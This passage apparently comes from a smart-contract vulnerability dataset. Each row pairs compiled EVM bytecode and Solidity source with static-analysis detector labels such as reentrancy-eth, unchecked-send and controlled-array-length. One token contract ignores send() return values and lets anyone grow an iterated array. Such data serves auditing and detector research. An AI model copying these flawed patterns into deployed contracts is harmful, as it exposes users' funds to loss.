5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160a9061231d565b60405180910390fd5b600061161d6116b6565b905061163281846116e190919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116a2573d6000803e3d6000fd5b5050565b6116b183838361172b565b505050565b60008060006116c36118f6565b915091506116da81836116e190919063ffffffff16565b9250505090565b600061172383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611949565b905092915050565b60008060008060008061173d876119ac565b95509550955095509550955061179b86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1190919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187c81611ab9565b6118868483611b76565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118e3919061243d565b60405180910390a3505050505050505050565b6000806000600354905060006305f5e10090506119226305f5e1006003546116e190919063ffffffff16565b82101561193c576003546305f5e100935093505050611945565b81819350935050505b9091565b60008083118290611990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198791906122db565b60405180910390fd5b506000838561199f9190612578565b9050809150509392505050565b60008060008060008060008060006119c68a600654611bb0565b92509250925060006119d66116b6565b905060008060006119e98e878787611c44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b6000808284611a6a9190612522565b905083811015611aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa69061237d565b60405180910390fd5b8091505092915050565b6000611ac36116b6565b90506000611ada8284611ccd90919063ffffffff16565b9050611b2e81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b8b82600354611a1190919063ffffffff16565b600381905550611ba681600454611a5b90919063ffffffff16565b6004819055505050565b600080600080611bdc6064611bce8789611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c066064611bf8888a611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c2f82611c21858b611a1190919063ffffffff16565b611a1190919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611c5d8589611ccd90919063ffffffff16565b90506000611c748689611ccd90919063ffffffff16565b90506000611c8b8789611ccd90919063ffffffff16565b90506000611cb482611ca68587611a1190919063ffffffff16565b611a1190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ce05760009050611d42565b60008284611cee91906125a9565b9050828482611cfd9190612578565b14611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d349061239d565b60405180910390fd5b809150505b92915050565b600081359050611d5781612a47565b92915050565b600081519050611d6c81612a47565b92915050565b600081519050611d8181612a5e565b92915050565b600081359050611d9681612a75565b92915050565b600081519050611dab81612a75565b92915050565b600060208284031215611dc757611dc661278d565b5b6000611dd584828501611d48565b91505092915050565b600060208284031215611df457611df361278d565b5b6000611e0284828501611d5d565b91505092915050565b60008060408385031215611e2257611e2161278d565b5b6000611e3085828601611d48565b9250506020611e4185828601611d48565b9150509250929050565b600080600060608486031215611e6457611e6361278d565b5b6000611e7286828701611d48565b9350506020611e8386828701611d48565b9250506040611e9486828701611d87565b9150509250925092565b60008060408385031215611eb557611eb461278d565b5b6000611ec385828601611d48565b9250506020611ed485828601611d87565b9150509250929050565b600060208284031215611ef457611ef361278d565b5b6000611f0284828501611d72565b91505092915050565b600060208284031215611f2157611f2061278d565b5b6000611f2f84828501611d9c565b91505092915050565b600080600060608486031215611f5157611f5061278d565b5b6000611f5f86828701611d9c565b9350506020611f7086828701611d9c565b9250506040611f8186828701611d9c565b9150509250925092565b6000611f978383611fa3565b60208301905092915050565b611fac81612637565b82525050565b611fbb81612637565b82525050565b6000611fcc826124dd565b611fd68185612500565b9350611fe1836124cd565b8060005b83811015612012578151611ff98882611f8b565b9750612004836124f3565b925050600181019050611fe5565b5085935050505092915050565b61202881612649565b82525050565b6120378161268c565b82525050565b6000612048826124e8565b6120528185612511565b935061206281856020860161269e565b61206b81612792565b840191505092915050565b6000612083602383612511565b915061208e826127a3565b604082019050919050565b60006120a6602a83612511565b91506120b1826127f2565b604082019050919050565b60006120c9602283612511565b91506120d482612841565b604082019050919050565b60006120ec601783612511565b91506120f782612890565b602082019050919050565b600061210f601b83612511565b915061211a826128b9565b602082019050919050565b6000612132602183612511565b915061213d826128e2565b604082019050919050565b6000612155602083612511565b915061216082612931565b602082019050919050565b6000612178602983612511565b91506121838261295a565b604082019050919050565b600061219b602583612511565b91506121a6826129a9565b604082019050919050565b60006121be602483612511565b91506121c9826129f8565b604082019050919050565b6121dd81612675565b82525050565b6121ec8161267f565b82525050565b60006020820190506122076000830184611fb2565b92915050565b60006040820190506122226000830185611fb2565b61222f6020830184611fb2565b9392505050565b600060408201905061224b6000830185611fb2565b61225860208301846121d4565b9392505050565b600060c0820190506122746000830189611fb2565b61228160208301886121d4565b61228e604083018761202e565b61229b606083018661202e565b6122a86080830185611fb2565b6122b560a08301846121d4565b979650505050505050565b60006020820190506122d5600083018461201f565b92915050565b600060208201905081810360008301526122f5818461203d565b905092915050565b6000602082019050818103600083015261231681612076565b9050919050565b6000602082019050818103600083015261233681612099565b9050919050565b60006020820190508181036000830152612356816120bc565b9050919050565b60006020820190508181036000830152612376816120df565b9050919050565b6000602082019050818103600083015261239681612102565b9050919050565b600060208201905081810360008301526123b681612125565b9050919050565b600060208201905081810360008301526123d681612148565b9050919050565b600060208201905081810360008301526123f68161216b565b9050919050565b600060208201905081810360008301526124168161218e565b9050919050565b60006020820190508181036000830152612436816121b1565b9050919050565b600060208201905061245260008301846121d4565b92915050565b600060a08201905061246d60008301886121d4565b61247a602083018761202e565b818103604083015261248c8186611fc1565b905061249b6060830185611fb2565b6124a860808301846121d4565b9695505050505050565b60006020820190506124c760008301846121e3565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061252d82612675565b915061253883612675565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561256d5761256c6126d1565b5b828201905092915050565b600061258382612675565b915061258e83612675565b92508261259e5761259d612700565b5b828204905092915050565b60006125b482612675565b91506125bf83612675565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125f8576125f76126d1565b5b828202905092915050565b600061260e82612675565b915061261983612675565b92508282101561262c5761262b6126d1565b5b828203905092915050565b600061264282612655565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061269782612675565b9050919050565b60005b838110156126bc5780820151818401526020810190506126a1565b838111156126cb576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612a5081612637565b8114612a5b57600080fd5b50565b612a6781612649565b8114612a7257600080fd5b50565b612a7e81612675565b8114612a8957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b09e6174a6d763eaaeb5ede3fa35fb686fda213ba5f4f0038d7b3010299b74b664736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,460 |
0xC1538F136ACB1BB615B849D229b1C4f7BdCfd19D
|
pragma solidity 0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Developed {
using SafeMath for uint256;
struct Developer {
address account;
uint256 comission;
bool isCollab;
}
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 0;
// 18 decimals is the strongly suggested default, avoid changing it
uint64 public totalSupply;
// State variables for the payout
uint public payoutBalance = 0;
uint public payoutIndex = 0;
bool public paused = false;
uint public lastPayout;
constructor() public payable {
Developer memory dev = Developer(msg.sender, 1 szabo, true);
developers[msg.sender] = dev;
developerAccounts.push(msg.sender);
name = "MyHealthData Divident Token";
symbol = "MHDDEV";
totalSupply = 1 szabo;
}
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
mapping(address => Developer) internal developers;
address[] public developerAccounts;
mapping (address => mapping (address => uint256)) private _allowed;
modifier comissionLimit (uint256 value) {
require(value < 1 szabo, "Invalid value");
_;
}
modifier whenNotPaused () {
require(paused == false, "Transfers paused, to re-enable transfers finish the payout round.");
_;
}
function () external payable {}
function newDeveloper(address _devAccount, uint64 _comission, bool _isCollab) public comissionLimit(_comission) returns(address) {
require(_devAccount != address(0), "Invalid developer account");
bool isCollab = _isCollab;
Developer storage devRequester = developers[msg.sender];
//"Developer have to be a collaborator in order to invite others to be a Developer
if (!devRequester.isCollab) {
isCollab = false;
}
require(devRequester.comission>=_comission, "The developer requester must have comission balance in order to sell her commission");
devRequester.comission = devRequester.comission.sub(_comission);
Developer memory dev = Developer(_devAccount, _comission, isCollab);
developers[_devAccount] = dev;
developerAccounts.push(_devAccount);
return _devAccount;
}
function totalDevelopers() public view returns (uint256) {
return developerAccounts.length;
}
function getSingleDeveloper(address _devID) public view returns (address devAccount, uint256 comission, bool isCollaborator) {
require(_devID != address(0), "Dev ID must be greater than zero");
//require(devID <= numDevelopers, "Dev ID must be valid. It is greather than total developers available");
Developer memory dev = developers[_devID];
devAccount = dev.account;
comission = dev.comission;
isCollaborator = dev.isCollab;
return;
}
function payComission() public returns (bool success) {
require (lastPayout < now - 14 days, "Only one payout every two weeks allowed");
paused = true;
if (payoutIndex == 0)
payoutBalance = address(this).balance;
for (uint i = payoutIndex; i < developerAccounts.length; i++) {
Developer memory dev = developers[developerAccounts[i]];
if (dev.comission > 0) {
uint valueToSendToDev = (payoutBalance.mul(dev.comission)).div(1 szabo);
// Developers should ensure these TXs will not revert
// otherwise they'll lose the payout (payout remains in
// balance and will split with everyone in the next round)
dev.account.send(valueToSendToDev);
if (gasleft() < 100000) {
payoutIndex = i + 1;
return;
}
}
}
success = true;
payoutIndex = 0;
payoutBalance = 0;
paused = false;
lastPayout = now;
return;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint64 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
Developer memory dev = developers[owner];
return dev.comission;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint64 value) public comissionLimit(value) whenNotPaused returns (bool) {
Developer storage devRequester = developers[from];
require(devRequester.comission > 0, "The developer receiver must exist");
require(value <= balanceOf(from), "There is no enough balance to perform this operation");
require(value <= _allowed[from][msg.sender], "Trader is not allowed to transact to this limit");
Developer storage devReciever = developers[to];
if (devReciever.account == address(0)) {
Developer memory dev = Developer(to, 0, false);
developers[to] = dev;
developerAccounts.push(to);
}
devRequester.comission = devRequester.comission.sub(value);
devReciever.comission = devReciever.comission.add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint64 value) public comissionLimit(value) whenNotPaused returns (bool) {
require(value <= balanceOf(msg.sender), "Spender does not have enough balance");
require(to != address(0), "Invalid new owner address");
Developer storage devRequester = developers[msg.sender];
require(devRequester.comission >= value, "The developer requester must have comission balance in order to sell her commission");
Developer storage devReciever = developers[to];
if (devReciever.account == address(0)) {
Developer memory dev = Developer(to, 0, false);
developers[to] = dev;
developerAccounts.push(to);
}
devRequester.comission = devRequester.comission.sub(value);
devReciever.comission = devReciever.comission.add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint64 value) public comissionLimit(value) returns (bool) {
require(spender != address(0), "Invalid spender");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint64 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint64 addedValue) public comissionLimit(addedValue) returns (bool) {
require(spender != address(0), "Invalid spender");
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public comissionLimit(subtractedValue) returns (bool) {
require(spender != address(0), "Invalid spender");
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101135780631086a9aa1461019d57806318160ddd146101df57806319ac8c0f1461021157806320b0554e146102265780632df05a3e1461024d5780632ea0dfe114610262578063313ce567146102965780635c975abb146102c15780635d359fbd146102d657806365df79331461030457806370a08231146103195780638af575971461033a57806395d89b4114610385578063a13381181461039a578063a457c2d7146103c8578063b9db102a146103ec578063dd62ed3e14610401578063f2ada82514610428578063f30255561461045c575b005b34801561011f57600080fd5b5061012861048f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016257818101518382015260200161014a565b50505050905090810190601f16801561018f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a957600080fd5b506101cb600160a060020a036004351667ffffffffffffffff6024351661051d565b604080519115158252519081900360200190f35b3480156101eb57600080fd5b506101f461064a565b6040805167ffffffffffffffff9092168252519081900360200190f35b34801561021d57600080fd5b506101cb61065f565b34801561023257600080fd5b5061023b61082a565b60408051918252519081900360200190f35b34801561025957600080fd5b5061023b610830565b34801561026e57600080fd5b506101cb600160a060020a036004358116906024351667ffffffffffffffff60443516610836565b3480156102a257600080fd5b506102ab610cf1565b6040805160ff9092168252519081900360200190f35b3480156102cd57600080fd5b506101cb610cfa565b3480156102e257600080fd5b506101cb600160a060020a036004351667ffffffffffffffff60243516610d03565b34801561031057600080fd5b5061023b61113b565b34801561032557600080fd5b5061023b600160a060020a0360043516611141565b34801561034657600080fd5b5061035b600160a060020a0360043516611198565b60408051600160a060020a0390941684526020840192909252151582820152519081900360600190f35b34801561039157600080fd5b5061012861125a565b3480156103a657600080fd5b506101cb600160a060020a036004351667ffffffffffffffff602435166112b4565b3480156103d457600080fd5b506101cb600160a060020a036004351660243561140f565b3480156103f857600080fd5b5061023b6114f0565b34801561040d57600080fd5b5061023b600160a060020a03600435811690602435166114f6565b34801561043457600080fd5b50610440600435611521565b60408051600160a060020a039092168252519081900360200190f35b34801561046857600080fd5b50610440600160a060020a036004351667ffffffffffffffff602435166044351515611549565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105155780601f106104ea57610100808354040283529160200191610515565b820191906000526020600020905b8154815290600101906020018083116104f857829003601f168201915b505050505081565b600067ffffffffffffffff821664e8d4a510008110610574576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611870833981519152604482015290519081900360640190fd5b600160a060020a03841615156105d4576040805160e560020a62461bcd02815260206004820152600f60248201527f496e76616c6964207370656e6465720000000000000000000000000000000000604482015290519081900360640190fd5b336000818152600960209081526040808320600160a060020a0389168085529083529281902067ffffffffffffffff881690819055815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600254610100900467ffffffffffffffff1681565b60008061066a61184f565b60006212750042036006541015156106f2576040805160e560020a62461bcd02815260206004820152602760248201527f4f6e6c79206f6e65207061796f75742065766572792074776f207765656b732060448201527f616c6c6f77656400000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6005805460ff19166001179055600454151561070e5730316003555b60045492505b600854831015610807576007600060088581548110151561073157fe5b6000918252602080832090910154600160a060020a039081168452838201949094526040928301822083516060810185528154909516855260018101549185018290526002015460ff1615159284019290925291935011156107fc576107bb64e8d4a510006107af84602001516003546117ce90919063ffffffff16565b9063ffffffff61180316565b8251604051919250600160a060020a03169082156108fc029083906000818181858888f1935050505050620186a05a10156107fc5760018301600455610824565b600190920191610714565b600060048190556003556005805460ff1916905542600655600193505b50505090565b60035481565b60045481565b600080600061084361184f565b67ffffffffffffffff851664e8d4a510008110610898576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611870833981519152604482015290519081900360640190fd5b60055460ff161561093f576040805160e560020a62461bcd02815260206004820152604160248201527f5472616e7366657273207061757365642c20746f2072652d656e61626c65207460448201527f72616e73666572732066696e69736820746865207061796f757420726f756e6460648201527f2e00000000000000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a03881660009081526007602052604081206001810154909550116109da576040805160e560020a62461bcd02815260206004820152602160248201527f54686520646576656c6f706572207265636569766572206d757374206578697360448201527f7400000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6109e388611141565b67ffffffffffffffff87161115610a6a576040805160e560020a62461bcd02815260206004820152603460248201527f5468657265206973206e6f20656e6f7567682062616c616e636520746f20706560448201527f72666f726d2074686973206f7065726174696f6e000000000000000000000000606482015290519081900360840190fd5b600160a060020a038816600090815260096020908152604080832033845290915290205467ffffffffffffffff87161115610b15576040805160e560020a62461bcd02815260206004820152602f60248201527f547261646572206973206e6f7420616c6c6f77656420746f207472616e73616360448201527f7420746f2074686973206c696d69740000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0380881660009081526007602052604090208054909450161515610bf05760408051606081018252600160a060020a03808a1680835260006020808501828152858701838152848452600790925295822085518154951673ffffffffffffffffffffffffffffffffffffffff19958616178155955160018781019190915590516002909601805496151560ff199097169690961790955560088054958601815590527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee3909301805490911690921790915591505b6001840154610c0f9067ffffffffffffffff881663ffffffff61182616565b600180860191909155830154610c359067ffffffffffffffff881663ffffffff61183d16565b6001840155600160a060020a0388166000908152600960209081526040808320338452909152902054610c789067ffffffffffffffff881663ffffffff61182616565b600160a060020a03808a16600081815260096020908152604080832033845282529182902094909455805167ffffffffffffffff8b1681529051928b169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001979650505050505050565b60025460ff1681565b60055460ff1681565b6000806000610d1061184f565b67ffffffffffffffff851664e8d4a510008110610d65576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611870833981519152604482015290519081900360640190fd5b60055460ff1615610e0c576040805160e560020a62461bcd02815260206004820152604160248201527f5472616e7366657273207061757365642c20746f2072652d656e61626c65207460448201527f72616e73666572732066696e69736820746865207061796f757420726f756e6460648201527f2e00000000000000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b610e1533611141565b67ffffffffffffffff87161115610e9b576040805160e560020a62461bcd028152602060048201526024808201527f5370656e64657220646f6573206e6f74206861766520656e6f7567682062616c60448201527f616e636500000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0387161515610efb576040805160e560020a62461bcd02815260206004820152601960248201527f496e76616c6964206e6577206f776e6572206164647265737300000000000000604482015290519081900360640190fd5b336000908152600760205260409020600181015490945067ffffffffffffffff87161115610fbf576040805160e560020a62461bcd02815260206004820152605360248201527f54686520646576656c6f70657220726571756573746572206d7573742068617660448201527f6520636f6d697373696f6e2062616c616e636520696e206f7264657220746f2060648201527f73656c6c2068657220636f6d6d697373696f6e00000000000000000000000000608482015290519081900360a40190fd5b600160a060020a038088166000908152600760205260409020805490945016151561109a5760408051606081018252600160a060020a03808a1680835260006020808501828152858701838152848452600790925295822085518154951673ffffffffffffffffffffffffffffffffffffffff19958616178155955160018781019190915590516002909601805496151560ff199097169690961790955560088054958601815590527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee3909301805490911690921790915591505b60018401546110b99067ffffffffffffffff881663ffffffff61182616565b6001808601919091558301546110df9067ffffffffffffffff881663ffffffff61183d16565b60018401556040805167ffffffffffffffff881681529051600160a060020a0389169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b60085490565b600061114b61184f565b5050600160a060020a0390811660009081526007602090815260409182902082516060810184528154909416845260018101549184018290526002015460ff161515929091019190915290565b60008060006111a561184f565b600160a060020a0385161515611205576040805160e560020a62461bcd02815260206004820181905260248201527f446576204944206d7573742062652067726561746572207468616e207a65726f604482015290519081900360640190fd5b50505050600160a060020a0390811660009081526007602090815260409182902082516060810184528154909416808552600182015492850183905260029091015460ff161515939092018390529092909190565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105155780601f106104ea57610100808354040283529160200191610515565b600067ffffffffffffffff821664e8d4a51000811061130b576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611870833981519152604482015290519081900360640190fd5b600160a060020a038416151561136b576040805160e560020a62461bcd02815260206004820152600f60248201527f496e76616c6964207370656e6465720000000000000000000000000000000000604482015290519081900360640190fd5b336000908152600960209081526040808320600160a060020a03881684529091529020546113a99067ffffffffffffffff851663ffffffff61183d16565b336000818152600960209081526040808320600160a060020a038a168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a35060019392505050565b60008164e8d4a51000811061145c576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611870833981519152604482015290519081900360640190fd5b600160a060020a03841615156114bc576040805160e560020a62461bcd02815260206004820152600f60248201527f496e76616c6964207370656e6465720000000000000000000000000000000000604482015290519081900360640190fd5b336000908152600960209081526040808320600160a060020a03881684529091529020546113a9908463ffffffff61182616565b60065481565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b600880548290811061152f57fe5b600091825260209091200154600160a060020a0316905081565b600080600061155661184f565b67ffffffffffffffff861664e8d4a5100081106115ab576040805160e560020a62461bcd02815260206004820152600d6024820152600080516020611870833981519152604482015290519081900360640190fd5b600160a060020a038816151561160b576040805160e560020a62461bcd02815260206004820152601960248201527f496e76616c696420646576656c6f706572206163636f756e7400000000000000604482015290519081900360640190fd5b336000908152600760205260409020600281015487955090935060ff16151561163357600093505b600183015467ffffffffffffffff881611156116e5576040805160e560020a62461bcd02815260206004820152605360248201527f54686520646576656c6f70657220726571756573746572206d7573742068617660448201527f6520636f6d697373696f6e2062616c616e636520696e206f7264657220746f2060648201527f73656c6c2068657220636f6d6d697373696f6e00000000000000000000000000608482015290519081900360a40190fd5b60018301546117049067ffffffffffffffff891663ffffffff61182616565b600193840155505060408051606081018252600160a060020a0388811680835267ffffffffffffffff98909816602080840191825295151583850190815260008a815260079097529386209251835473ffffffffffffffffffffffffffffffffffffffff1990811691909316178355518285015591516002909101805460ff19169115159190911790556008805492830181559092527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180549091169093179092555090919050565b6000808315156117e15760009150610643565b508282028284828115156117f157fe5b04146117fc57600080fd5b9392505050565b60008080831161181257600080fd5b828481151561181d57fe5b04949350505050565b6000808383111561183657600080fd5b5050900390565b6000828201838110156117fc57600080fd5b6040805160608101825260008082526020820181905291810191909152905600496e76616c69642076616c756500000000000000000000000000000000000000a165627a7a72305820223e9bd0a97b63273c04b9d68b48fe1adfdb5d8fffe2c66513de7d1557a3d7ce0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,461 |
0x3610f73a28eecd30c3ba926fda005dc0dc6a4e0b
|
/**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
